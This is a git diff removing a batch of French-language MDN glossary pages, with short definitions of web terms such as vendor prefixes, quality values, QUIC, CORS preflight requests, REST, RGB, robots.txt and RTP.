diff --git a/files/fr/glossaire/protocol/index.html b/files/fr/glossaire/protocol/index.html deleted file mode 100644 index 3ed4f7d4f2..0000000000 --- a/files/fr/glossaire/protocol/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Protocole -slug: Glossaire/Protocol -tags: - - Glossaire - - Infrastructure - - Protocoles -translation_of: Glossary/Protocol ---- -

Un protocole est un système de règles qui définit la manière dont des données sont échangées au sein d'un ordinateur ou entre plusieurs ordinateurs.  La communication entre appareils impose à ceux-ci de s'accorder sur le format des données échangées. L'ensemble des règles qui définissent un format est appelé un protocole.

- -

Pour en savoir plus

- -

Culture générale

- - - -

 

diff --git a/files/fr/glossaire/prototype/index.html b/files/fr/glossaire/prototype/index.html deleted file mode 100644 index ddd061527d..0000000000 --- a/files/fr/glossaire/prototype/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Prototype -slug: Glossaire/Prototype -tags: - - Apps - - Composition - - Glossaire -translation_of: Glossary/Prototype ---- -

Un prototype est un modèle en cours de développement qui montre l'apparence et le comportement d'une application ou d'un produit en cours de conception..

- -

Voir Héritage et chaîne de prototypes.

- - -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Prototypage logiciel")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/pr\303\251fixe_vendeur/index.html" "b/files/fr/glossaire/pr\303\251fixe_vendeur/index.html" deleted file mode 100644 index 891d444c14..0000000000 --- "a/files/fr/glossaire/pr\303\251fixe_vendeur/index.html" +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Préfixe vendeur -slug: Glossaire/Préfixe_Vendeur -tags: - - CSS - - Encodage - - Glossaire - - Préfixes -translation_of: Glossary/Vendor_Prefix ---- -

Les vendeurs de navigateurs ajoutent parfois des préfixes aux propriétés CSS expérimentales ou non standards. Les développeurs peuvent ainsi les expérimenter sans que les changements de comportement du navigateur ne cassent le code pendant le processus de standardisation. Les développeurs sont supposés attendre que le comportement du navigateur soit standardisé pour inclure la propriété non préfixée.

- -
-

Les fournisseurs de navigateurs s'efforcent d'arrêter l'utilisation des préfixes fournisseurs pour les fonctionnalités expérimentales. Les développeurs Web les utilisent sur des sites Web de production, malgré leur caractère expérimental. Cela a rendu plus difficile la compatibilité des fournisseurs de navigateurs et le travail sur de nouvelles fonctionnalités ; cela a également été nuisible aux petits navigateurs qui se sont retrouvés obligés d'ajouter des préfixes d'autres navigateurs afin de charger des sites web populaires.

- -

Dernièrement, la tendance consiste à ajouter des fonctionnalités expérimentales derrière des indications contrôlées par l'utilisateur, et de travailler sur des spécifications plus petites et dont la stabilité est atteinte plus rapidement.

-
- -

CSS préfixes

- -

En général, les principaux navigateurs utilisent ces préfixes :

- -
    -
  • -webkit- (Chrome, nouvelles versions d'Opera.)
    • -
  • -moz- (Firefox)
    • -
  • -o- (Anciennes versions d'Opera)
    • -
  • -ms- (Internet Explorer et Edge)
    • -
- -

API préfixes

- -

Historiquement, les fournisseurs ont également utilisé des préfixes pour les API expérimentales. Si une interface entière est expérimentale, alors le nom de l'interface est préfixé (mais pas les propriétés ou méthodes à l'intérieur). Si une propriété ou une méthode expérimentale est ajoutée à une interface normalisée, la méthode ou la propriété individuelle est préfixée.

- -

Interfaces préfixes

- -

Les préfixes pour les noms d'interface sont en majuscules:

- -
    -
  • Webkit (Chrome, Safari, versions d'Opera récentes, presque tous les navigateurs iOS (y compris Firefox pour iOS) ; fondamentalement, tout navigateur basé sur WebKit).
    • -
  • Moz (Firefox)
    • -
  • O (anciennes versions d'Opera)
    • -
  • MS (Internet Explorer et Edge)
    • -
- -

Propriétés et méthodes préfixes

- -

Quant aux propriétés et aux méthodes, sont généralement utilisés :

- -
    -
  • webkit (Chrome, Safari, nouvelles versions d'Opera, presque tous les navigateurs IOS (y compris Firefox pour IOS), fondamentalement, tout navigateur basé sur WebKit).
    • -
  • moz (Firefox)
    • -
  • o (anciennes versions d'Opera)
    • -
  • ms (Internet Explorer et Edge)
    • -
- -

Pour approfondir

- -

Culture générale

- -

{{Interwiki("wikipedia", "Métadonnée#Services_Web", "Services web")}} sur Wikipédia

- -

 

diff --git a/files/fr/glossaire/pseudo-classe/index.html b/files/fr/glossaire/pseudo-classe/index.html deleted file mode 100644 index 2ccf1494ef..0000000000 --- a/files/fr/glossaire/pseudo-classe/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Pseudo-classe -slug: Glossaire/Pseudo-classe -tags: - - CSS - - CodingScripting - - Glossaire - - Sélecteur -translation_of: Glossary/Pseudo-class ---- -

En CSS, un sélecteur de pseudo-classe cible des éléments en fonction de leur état plutôt qu'en fonction de l'information issue de l'arbre du document. Par exemple, le sélecteur a{{ cssxref(":visited") }} applique un style uniquement aux liens que l'utilisateur a déjà visités.

- -

Pour approfondir

- -

Référence technique

- - diff --git a/files/fr/glossaire/pseudo-code/index.html b/files/fr/glossaire/pseudo-code/index.html deleted file mode 100644 index 0c3c99e752..0000000000 --- a/files/fr/glossaire/pseudo-code/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Pseudo-code -slug: Glossaire/Pseudo-code -tags: - - Encodage - - Glossaire - - Pseudo-code -translation_of: Glossary/Pseudocode ---- -

Un pseudo-code (également appelé LDA pour Langage de Description d'Algorithmes) fait référence à une syntaxe ressemblant à un code, généralement utilisée pour indiquer aux humains le fonctionnement d'une syntaxe de code ou pour illustrer la conception d'un élément d'architecture de code. Cela ne fonctionnera pas si vous essayez de l'exécuter comme un véritable code.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Pseudo-code")}} sur Wikipédia.
    • -
diff --git "a/files/fr/glossaire/pseudo-\303\251l\303\251ment/index.html" "b/files/fr/glossaire/pseudo-\303\251l\303\251ment/index.html" deleted file mode 100644 index d4ef36845c..0000000000 --- "a/files/fr/glossaire/pseudo-\303\251l\303\251ment/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Pseudo-élément -slug: Glossaire/Pseudo-élément -tags: - - CSS - - Glossaire - - Programmation -translation_of: Glossary/Pseudo-element ---- -

En CSS, un sélecteur de pseudo-élément applique des styles à des parties du contenu de votre document dans le cas où il n'y a pas d'élément HTML à cibler. Par exemple, plutôt que de placer la première lettre de chaque paragraphe dans un élément distinct, vous pouvez leur appliquer un style globalement avec p{{ Cssxref("::first-letter") }}.

- -

Pour approfondir

- -

Référence technique

- - diff --git a/files/fr/glossaire/python/index.html b/files/fr/glossaire/python/index.html deleted file mode 100644 index 9e92541170..0000000000 --- a/files/fr/glossaire/python/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Python -slug: Glossaire/Python -tags: - - Glossaire - - Langage - - Programmation - - Python -translation_of: Glossary/Python ---- -

Python est un langage de programmation de haut-niveau, pour tous usages. Il possède une approche multi-paradigme et supporte donc des formes de programmation procédurale, orientée objet et fonctionnelle.

- -

Il a été créé par Guido van Rossum entre 1985 et 1990 pour succéder à un autre langage (appelé ABC), et est actuellement utilisé dans de nombreux domaines, comme le développement web, en tant que langage de script pour d'autres applications et pour construire de vraies applications.

- -

Python est développé sous une licence Open Source approuvée OSI, ce qui le rend librement utilisable et distribuable, même pour un usage commercial. La licence de Python est administrée par la Python Software Foundation .

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/quality_values/index.html b/files/fr/glossaire/quality_values/index.html deleted file mode 100644 index 88b4d44215..0000000000 --- a/files/fr/glossaire/quality_values/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Quality values -slug: Glossaire/Quality_values -tags: - - Glossaire - - Mécanismes web -translation_of: Glossary/Quality_values ---- -

Quality values (valeurs de qualité), ou q-values et q-factors, sont utilisés pour décrire l'ordre de priorité des valeurs séparées par une virgule dans une liste. C'est une syntaxe spéciale autorisée dans quelques en-têtes HTTP et en HTML. L'importance d'une valeur est marquée par le suffixe  ';q=' immédiatement suivi par une valeur comprise entre 0 et 1 inclus, avec jusqu'à trois décimales, la valeur la plus élevée indiquant la priorité la plus haute. Quand le paramètre n'est pas déclaré, la valeur par défaut est 1.

- -

Exemples

- -

La syntaxe suivante :

- -
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- -

indique l'ordre de priorité :

- - - - - - - - - - - - - - - - - - - - - - -
ValeurPriorité
text/html et application/xhtml+xml1.0
application/xml0.9
*/*0.8
- -

S'il n'y a pas de priorité définie pour les deux premières valeurs, l'ordre dans la liste est sans importance. Néanmoins, avec la même qualité, des valeurs plus spécifiques ont la priorité sur celles qui le sont moins :

- -
text/html;q=0.8,text/*;q=0.8,*/*;q=0.8
-
- - - - - - - - - - - - - - - - - - - - -
ValeurPriorité
text/html0.8 (totalement spécifié)
text/*0.8 (partiellement spécifié)
*/*0.8 (non spécifié)
- -

Quelques syntaxes, comme celle de {{HTTPHeader("Accept")}}, autorisent des spécificateurs supplémentaires comme text/html;level=1. Ceux-ci augmentent la spécificité de la valeur. Leur utilisation est extrêmement rare.

- -

Information propre aux navigateurs

- -

Firefox

- -

À partir de Firefox 18, les valeurs du facteur de qualité sont fixées à 2 décimales. Elles étaient limitées à 1 décimale dans les versions antérieures ({{bug(672448)}}).

- -

Plus d'informations

- -
    -
  • En-têtes HTTP utilisant des q-values dans leur syntaxe : {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("TE")}}.
    • -
diff --git a/files/fr/glossaire/quic/index.html b/files/fr/glossaire/quic/index.html deleted file mode 100644 index 45f9ee0f9b..0000000000 --- a/files/fr/glossaire/quic/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: QUIC -slug: Glossaire/QUIC -tags: - - Glossaire - - HTTP - - Performance Web - - QUIC - - Reference -translation_of: Glossary/QUIC ---- -

Quick UDP Internet Connection, ou QUIC,  est un protocole de transport multiplexé expérimental implémenté sur UDP.  Il a été développé par Google comme un moyen d'expérimenter des moyens d'améliorer TCP et la livraison d'applications Web. Comme TCP est intégré au noyau de nombreux systèmes d'exploitation, être capable d'expérimenter des changements, de les tester et d'implémenter des modifications est un processus extrêmement lent. La création de QUIC permet aux développeurs de mener des expériences et d'essayer de nouvelles choses plus rapidement.

- -

QUIC a été conçu pour prendre en charge la sémantique de HTTP / 2. Il fournit le multiplexage, le contrôle de flux, la sécurité et le contrôle de la congestion.

- -

Les principales caractéristiques de QUIC comprennent:

- -
    -
  • Réduction du temps d'établissement de la connexion.
    • -
  • Meilleur contrôle de la congestion.
    • -
  • Multiplexage sans blocage de tête de ligne.
    • -
  • Correction d'erreur avant.
    • -
  • Migration de connexion.
    • -
- -

La prise en charge du navigateur et du serveur pour QUIC est aujourd'hui limitée.

- -

Ressources

- - - -

Voir aussi

- - diff --git a/files/fr/glossaire/rail/index.html b/files/fr/glossaire/rail/index.html deleted file mode 100644 index ec6527e25c..0000000000 --- a/files/fr/glossaire/rail/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: RAIL -slug: Glossaire/RAIL -tags: - - Glossaire - - Performance Web - - RAIL - - Timings -translation_of: Glossary/RAIL ---- -

RAIL, acronyme de Response, Animation, Idle, et Load, est un modèle de performance créé par l'équipe Google Chrome en 2015, axé sur l'expérience utilisateur et les performances dans le navigateur. Le mantra de performance de RAIL est "Concentrez-vous sur l'utilisateur; l'objectif final n'est pas de rendre votre site performant sur un appareil spécifique, c'est de rendre les utilisateurs heureux." Il y a 4 étapes d'interaction: chargement de la page, inactivité, réponse à l'entrée, et défilement et animation. Dans l'ordre des acronymes, les principaux principes sont:

- -
-
Response
-
Répondez immédiatement aux utilisateurs, en reconnaissant toute entrée utilisateur en 100ms ou moins.
-
Animation
-
Lors de l'animation, effectuez le rendu de chaque image en moins de 16ms, dans un souci de cohérence et en évitant les secousses.
-
Idle
-
Lorsque vous utilisez le thread JavaScript principal, travaillez par blocs pendant moins de 50ms pour libérer le thread pour les interactions de l'utilisateur.
-
Load
-
Diffusez du contenu interactif en moins d' 1 seconde.
-
- -

Voir aussi

- - diff --git a/files/fr/glossaire/ramasse-miettes/index.html b/files/fr/glossaire/ramasse-miettes/index.html deleted file mode 100644 index b859592ace..0000000000 --- a/files/fr/glossaire/ramasse-miettes/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Ramasse-miettes -slug: Glossaire/Ramasse-miettes -tags: - - Glossaire - - codescripting -translation_of: Glossary/Garbage_collection ---- -

Ramasse-miettes est un terme utilisé en {{Glossary("Computer Programming","programmation informatique")}} pour décrire le processus de recherche et de suppression des {{Glossary("Object", "objets")}} qui ne sont plus {{Glossary("Object reference", "référencés")}} par d'autres objets. En d'autres termes, le ramasse-miettes est le processus de suppression de tous les objets qui ne sont plus utilisés par d'autres objets. Souvent abrégé "GC" (pour Garbage Collection en anglais),  le ramasse-miettes est un élément fondamental du système de la {{Glossary("Memory management","gestion de la mémoire")}} utilisé par {{Glossary("JavaScript")}}.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • Gestion de la mémoire sur Wikipédia (anglais)
    • -
  • {{interwiki("wikipedia", "Ramasse-miettes (informatique)")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/rdf/index.html b/files/fr/glossaire/rdf/index.html deleted file mode 100644 index e40c7146f1..0000000000 --- a/files/fr/glossaire/rdf/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: RDF -slug: Glossaire/RDF -tags: - - Compatibilité - - Encodage - - Glossaire - - Infrastructure - - Mécanismes web - - Pratiques -translation_of: Glossary/RDF ---- -

RDF (Resource Description Framework) est un langage développé par le W3C pour représenter des informations sur le World Wide Web, comme des pages Web. RDF apporte une manière standard de coder des informations afin que celles-ci puissent être échangées de façon totalement automatisée entre applications.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Resource Description Framework")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/real_user_monitoring/index.html b/files/fr/glossaire/real_user_monitoring/index.html deleted file mode 100644 index a1dc649906..0000000000 --- a/files/fr/glossaire/real_user_monitoring/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Real User Monitoring (RUM) -slug: Glossaire/Real_User_Monitoring -tags: - - Glossaire - - Performance Web - - RUM - - Reference -translation_of: Glossary/Real_User_Monitoring ---- -

Le Real User Monitoring ou RUM mesure les performances d'une page à partir des machines des utilisateurs réels. Généralement, un script tiers injecte un script sur chaque page pour mesurer et rapporter les données de chargement de page pour chaque demande effectuée. Cette technique surveille les interactions réelles des utilisateurs d'une apllication. Dans RUM, le script tiers collecte des mesures de performances à partir des navigateurs des utilisateurs réels. RUM permet d'identifer comment une application est utilisée, y compris la répartition géographique des utilisateurs et l'impact de cette distribution sur l'expérience de l'utilisateur final.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/rectangle_limitation_minimum/index.html b/files/fr/glossaire/rectangle_limitation_minimum/index.html deleted file mode 100644 index 443c2d294c..0000000000 --- a/files/fr/glossaire/rectangle_limitation_minimum/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Rectangle à limitation minimum -slug: Glossaire/rectangle_limitation_minimum -tags: - - Bounding Box - - Conception - - Encodage - - Glossaire -translation_of: Glossary/bounding_box ---- -

Le rectangle à limitation minimum d'un élément est le plus petit rectangle possible (aligné avec les axes du système de coordonnées de l'utilisateur de cet élément) qui inclut cet élément et ses descendants.

diff --git a/files/fr/glossaire/reflow/index.html b/files/fr/glossaire/reflow/index.html deleted file mode 100644 index c191454acd..0000000000 --- a/files/fr/glossaire/reflow/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Reflow -slug: Glossaire/Reflow -tags: - - Glossaire - - Mécanismes web -translation_of: Glossary/Reflow ---- -

Le reflow se produit quand un {{glossary("browser","navigateur")}} doit réarranger et redessiner tout ou partie d'une page web, par exemple, après une mise à jour sur un site interactif.

- -

En apprendre plus

- - diff --git a/files/fr/glossaire/regular_expression/index.html b/files/fr/glossaire/regular_expression/index.html deleted file mode 100644 index 9ca7b9388b..0000000000 --- a/files/fr/glossaire/regular_expression/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Expression Régulière -slug: Glossaire/Regular_expression -tags: - - CodingScripting - - Glossary - - Regular Expression -translation_of: Glossary/Regular_expression ---- -

Les expressions régulières (ou regex en anglais) sont des règles qui gouvernent quelles séquences de caractères ressortent dans une recherche.

- -

Les expressions régulières (ou expressions rationnelles) sont implémentées dans de nombreux langages. La plus connue est l'implémentation de Perl, qui a donné naissance à son propre éco-système d'implémentations appelé PCRE (Perl Compatible Regular Expression). Sur internet, {{glossary("JavaScript")}} fournit une autre implémentation regex à travers l'objet {{jsxref("RegExp")}}.

- -

En savoir plus

- -

Connaissance générale

- - - -

Références techniques

- - diff --git a/files/fr/glossaire/requete_pre-verification/index.html b/files/fr/glossaire/requete_pre-verification/index.html deleted file mode 100644 index 8e2b304737..0000000000 --- a/files/fr/glossaire/requete_pre-verification/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Requête de pré-vérification -slug: Glossaire/requete_pre-verification -tags: - - CORS - - HTTP - - pré-vérification -translation_of: Glossary/Preflight_request ---- -

Une requête de pré-vérification cross-origin CORS est une requête de vérification faite pour contrôler si le protocole {{Glossary("CORS")}} est autorisé.

- -

C'est une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} qui utilise trois en-têtes HTTP : La méthode {{HTTPHeader("Access-Control-Request-Method")}}, les en-têtes {{HTTPHeader("Access-Control-Request-Headers")}} et {{HTTPHeader("Origin")}}.

- -

Une requête de pré-vérification est automatiquement envoyée par le navigateur quand cela est nécessaire. Dans les cas normaux, les intégrateurs n'ont pas besoin de construire eux-mêmes cette requête.

- -

Par exemple, un client peut demander au serveur si celui-ci autorise l'usage de la méthode {{HTTPMethod("DELETE")}} dans la requête HTTP, avant d'envoyer la "vraie" requête avec la méthode {{HTTPMethod("DELETE")}} :

- -
OPTIONS /resource/foo
-Access-Control-Request-Method: DELETE
-Access-Control-Request-Headers: origin, x-requested-with
-Origin: https://foo.bar.org
- -

Si le serveur l'accepte, alors celui-ci va répondre à la requête de pré-vérification en envoyant une réponse HTTP contenant l'entête {{HTTPHeader("Access-Control-Allow-Methods")}} dont la valeur contiendra dans sa liste la méthode DELETE:

- -
HTTP/1.1 200 OK
-Content-Length: 0
-Connection: keep-alive
-Access-Control-Allow-Origin: https://foo.bar.org
-Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
-Access-Control-Max-Age: 86400
- -

À remarquer dans cet exemple que le serveur autorise les méthodes : POST ; GET ; OPTIONS et DELETE.

- -

Voir également

- -
    -
  • CORS
    • -
  • {{HTTPMethod("OPTIONS")}}
    • -
diff --git a/files/fr/glossaire/responsive_web_design/index.html b/files/fr/glossaire/responsive_web_design/index.html deleted file mode 100644 index 7a9eac7a66..0000000000 --- a/files/fr/glossaire/responsive_web_design/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Conception web adaptative -slug: Glossaire/Responsive_web_design -tags: - - Conception - - Glossaire -translation_of: Glossary/Responsive_web_design ---- -

Conception web adaptative (Responsive Web Design (RWD)) est un concept de développement web concentré sur l'aspect et le comportement optimaux des sites sur tous les appareils informatiques personnels, du bureau au mobile.

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/rest/index.html b/files/fr/glossaire/rest/index.html deleted file mode 100644 index 9fd6469c0c..0000000000 --- a/files/fr/glossaire/rest/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: REST -slug: Glossaire/REST -tags: - - Architecture - - Glossaire - - HTTP - - Mécanismes web -translation_of: Glossary/REST ---- -

Representational State Transfer (REST) désigne un groupe de contraintes concernant l'architecture logicielle destiné à apporter aux systèmes efficacité, fiabilité et scalabilité. Un système est appelé "RESTful" lorsqu'il adhère à ces contraintes.

- -

L'idée de base de REST est qu'une ressource, par exemple  un document, est transférée avec son état et ses relations (hypertexte) via des opérations et des formats standardisés et bien définis. Souvent, les API ou les services s'appellent RESTful lorsqu'ils agissent sur n'importe quel type de document, par opposition à des actions déclenchées ailleurs.

- -

Parce que HTTP, le protocole derrière le World Wide Web (WWW), transfère des documents et des liens hypertextes et est également une norme, les API HTTP simples sont parfois familièrement appelés API RESTful, RESTful Services ou simplement REST Services même s'ils n'adhèrent pas nécessairement à toutes les contraintes REST. Les débutants peuvent simplement supposer qu'un API REST signifie un service HTTP qui peut être appelé à l'aide de bibliothèques et d'outils web standards.

- -

Pour approfondir

- -

Apprendre

- - - -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Representational_state_transfer", "REST")}} sur Wikipédia
    • -
  • REST Architecture (en)
    • -
diff --git a/files/fr/glossaire/rgb/index.html b/files/fr/glossaire/rgb/index.html deleted file mode 100644 index 17d16490e0..0000000000 --- a/files/fr/glossaire/rgb/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: RVB -slug: Glossaire/RGB -tags: - - CSS - - Conception - - Débutant - - Guide -translation_of: Glossary/RGB ---- -

Rouge Vert Bleu (RVB) est un modèle de couleurs qui représente les couleurs comme étant une combinaison de trois composantes sous-jacentes (ou canaux), à savoir, rouge, verte et bleue. Chaque couleur est décrite par une suite de trois valeurs (en général comprises entre 0,0 et 1,0, ou entre 0 et 255) qui correspondent aux différentes intensités de rouge, vert et bleu contribuant à déterminer la couleur finale.

- -

Il existe de nombreuses façons de décrire les composantes RVB d'une couleur. En {{Glossary("CSS")}}, elles peuvent être représentées sous la forme d'un unique entier de 24 bits en notation hexadécimale (par exemple, #add8e6 pour du bleu clair), ou dans une notation fonctionnelle comme trois entiers 8 bits distincts (par exemple, rgb(46, 139, 87) est un vert océan). En {{Glossary("OpenGL")}}, {{Glossary("WebGL")}} et {{Glossary("GLSL")}}, les composantes rouge-vert-bleu sont des fractions (nombres à virgule flottante compris entre 0,0  et 1,0), bien qu'elles soient généralement stockées concrètement en mémoire vidéo comme des entiers 8 bits. Graphiquement, une couleur peut être représentée par un point dans un cube ou sur une grille tridimensionnelle, où chaque dimension (ou axe) correspond à un canal différent.

- -

Pour approfondir

- -

Culture générale

- - - -

Apprendre

- - diff --git a/files/fr/glossaire/ril/index.html b/files/fr/glossaire/ril/index.html deleted file mode 100644 index bb2cbaf8f9..0000000000 --- a/files/fr/glossaire/ril/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: RIL -slug: Glossaire/RIL -tags: - - Firefox OS - - Glossaire - - Infrastructure - - Intro - - Mobile - - Téléphonie -translation_of: Glossary/RIL ---- -

Le RIL (Radio Interface Layer) est un élément du système d'exploitation mobile qui fait communiquer le logiciel de l'appareil avec le matériel du téléphone, radio ou modem.

- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/rng/index.html b/files/fr/glossaire/rng/index.html deleted file mode 100644 index 803fb0591d..0000000000 --- a/files/fr/glossaire/rng/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Générateur de nombres pseudo-aléatoires -slug: Glossaire/RNG -tags: - - CodingScripting - - Glossaire -translation_of: Glossary/RNG ---- -

Un PRNG (pseudorandom number generator, ou générateur de nombres pseudo-aléatoires en français) est un algorithme qui génère des nombres selon une séquence complexe et apparemment non prévisible. Les véritables nombres aléatoires (issus, disons, d'une source radioactive) sont totalement imprévisibles, tandis que les résultats de tous les algorithmes peuvent être prédits, et un PRNG renvoie les mêmes nombres lorsque les mêmes paramètres initiaux ou graines sont utilisés.

- -

En fonction de la qualité de l'algorithme et de l'entropie de l'ensemencement, les PRNG diffèrent en degré de sécurité et donc dans leurs applications.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Générateur de nombres pseudo-aléatoires")}} sur Wikipédia
    • -
  • {{jsxref("Math.random()")}}, une fonction PRNG intégrée à JavaScript
    • -
diff --git a/files/fr/glossaire/robot_d_indexation/index.html b/files/fr/glossaire/robot_d_indexation/index.html deleted file mode 100644 index ccd6a42b51..0000000000 --- a/files/fr/glossaire/robot_d_indexation/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Robot d'indexation -slug: Glossaire/Robot_d_indexation -tags: - - Glossaire - - Infrastructure - - Navigateur - - Robot d'indexation -translation_of: Glossary/Crawler ---- -

Un robot d'indexation est un programme, souvent appelé bot ou robot, qui parcourt de manière systématique le {{glossary("World Wide Web","Web")}} pour collecter des données à partir des pages web. Les moteurs de recherche utilisent généralement des robots d'indexation pour construire leurs index.

- -

Pour approfondir

- -
    -
  • {{Interwiki("wikipedia", "Robot d'indexation")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/robots.txt/index.html b/files/fr/glossaire/robots.txt/index.html deleted file mode 100644 index 36537482fa..0000000000 --- a/files/fr/glossaire/robots.txt/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Robots.txt -slug: Glossaire/Robots.txt -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/Robots.txt ---- -

Robots.txt est un fichier qui est habituellement placé à la racine d'un site web. Il détermine si les {{Glossary("crawler", "robots d'indexation")}} ont ou non l'autorisation d'accéder au site web.

- -

Par exemple, l'administrateur d'un site peut interdire aux robots d'indexation de parcourir un certain dossier (et tous les fichiers contenus à l'intérieur) ou de parcourir un fichier spécifique, généralement pour empêcher ces fichiers d'être indexés par d'autres moteurs de recherche.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Protocole_d'exclusion_des_robots", "Robots.txt")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/rss/index.html b/files/fr/glossaire/rss/index.html deleted file mode 100644 index 50b56e6e12..0000000000 --- a/files/fr/glossaire/rss/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: RSS -slug: Glossaire/RSS -tags: - - Glossaire - - OpenPractices - - Partage - - RSS - - WebMechanics -translation_of: Glossary/RSS ---- -

RSS (Really Simple Syndication) désigne plusieurs formats de documents XML conçus pour annoncer des mises à jour de sites. Lorsque vous vous inscrivez au flux RSS d'un site web, ce dernier envoie des informations et annonces de mises à jour à votre lecteur RSS dans un document RSS appelé un flux, la consultation manuelle de tous vos sites préférés n'est donc plus nécessaire.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "RSS")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/rtf/index.html b/files/fr/glossaire/rtf/index.html deleted file mode 100644 index df5c332129..0000000000 --- a/files/fr/glossaire/rtf/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: RTF -slug: Glossaire/RTF -tags: - - Composing - - Format - - Glossaire - - RTF - - Rich Text Format -translation_of: Glossary/RTF ---- -

RTF (Rich Text Format) est un format de fichier en texte brut avec prise en charge d'instructions de formatage (comme gras ou italique).

- -

Trois développeurs de l'équipe Microsoft Word ont créé le format RTF dans les années 1980, et Microsoft a poursuivi son développement jusqu'en 2008. Malgré ça, de nombreux traitements de texte peuvent toujours lire et écrire du RTF.

- -

En savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Rich Text Format")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/rtl/index.html b/files/fr/glossaire/rtl/index.html deleted file mode 100644 index e6bf34757b..0000000000 --- a/files/fr/glossaire/rtl/index.html +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: rtl -slug: Glossaire/rtl -translation_of: Glossary/rtl ---- -

RTL est une propriété de {{glossary("locale")}} indiquant que le texte est écrit de la droite vers la gauche. Par example la {{glossary("locale")}} he (pour Hébreu) possède la propriété RTL.

diff --git a/files/fr/glossaire/rtp/index.html b/files/fr/glossaire/rtp/index.html deleted file mode 100644 index bc09ce3b0f..0000000000 --- a/files/fr/glossaire/rtp/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: RTP (Real-time Transport Protocol) and SRTP (Secure RTP) -slug: Glossaire/RTP -tags: - - Glossaire - - RTP - - Réseau - - protocole -translation_of: Glossary/RTP ---- -

Le Real-time Transport Protocol (RTP) est un protocole réseau qui décrit comment transmettre divers médias (audio, vidéo) d'un point de terminaison à un autre en temps réel. RTP convient aux applications de streaming vidéo, à la téléphonie sur {{glossary ("IP")}} comme Skype et aux technologies de conférence.

- -

La version sécurisée de RTP, SRTP, est utilisé par WebRTC, et utilise le cryptage et l'authentification pour minimiser le risque d'attaques par déni de service et de failles de sécurité.

- -

RTP est rarement utilisé seul; à la place, il est utilisé en conjonction avec d'autres protocoles comme {{glossary("RTSP")}} et {{glossary("SDP")}}.

- -

Apprendre plus

- -

Culture générale

- -
    -
  • Introduction au Real-time Transport Protocol
    • -
  • {{Interwiki("wikipedia", "Real-time_Transport_Protocol","RTP")}} sur Wikipédia
    • -
  • {{RFC(3550)}} (l'un des documents qui spécifie précisément le fonctionnement du protocole)
    • -
diff --git a/files/fr/glossaire/ruby/index.html b/files/fr/glossaire/ruby/index.html deleted file mode 100644 index 26e48d7db2..0000000000 --- a/files/fr/glossaire/ruby/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Ruby -slug: Glossaire/Ruby -tags: - - Glossaire - - Programmation - - Ruby -translation_of: Glossary/Ruby ---- -

Ruby est un langage de programmation open-source. Dans le domaine du {{glossary("world wide web","web")}}, Ruby est souvent utilisé côté serveur avec le framework Ruby On Rails (ROR) pour développer des applications/sites web.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • Ruby sur Wikipédia
    • -
- -

Référence technique

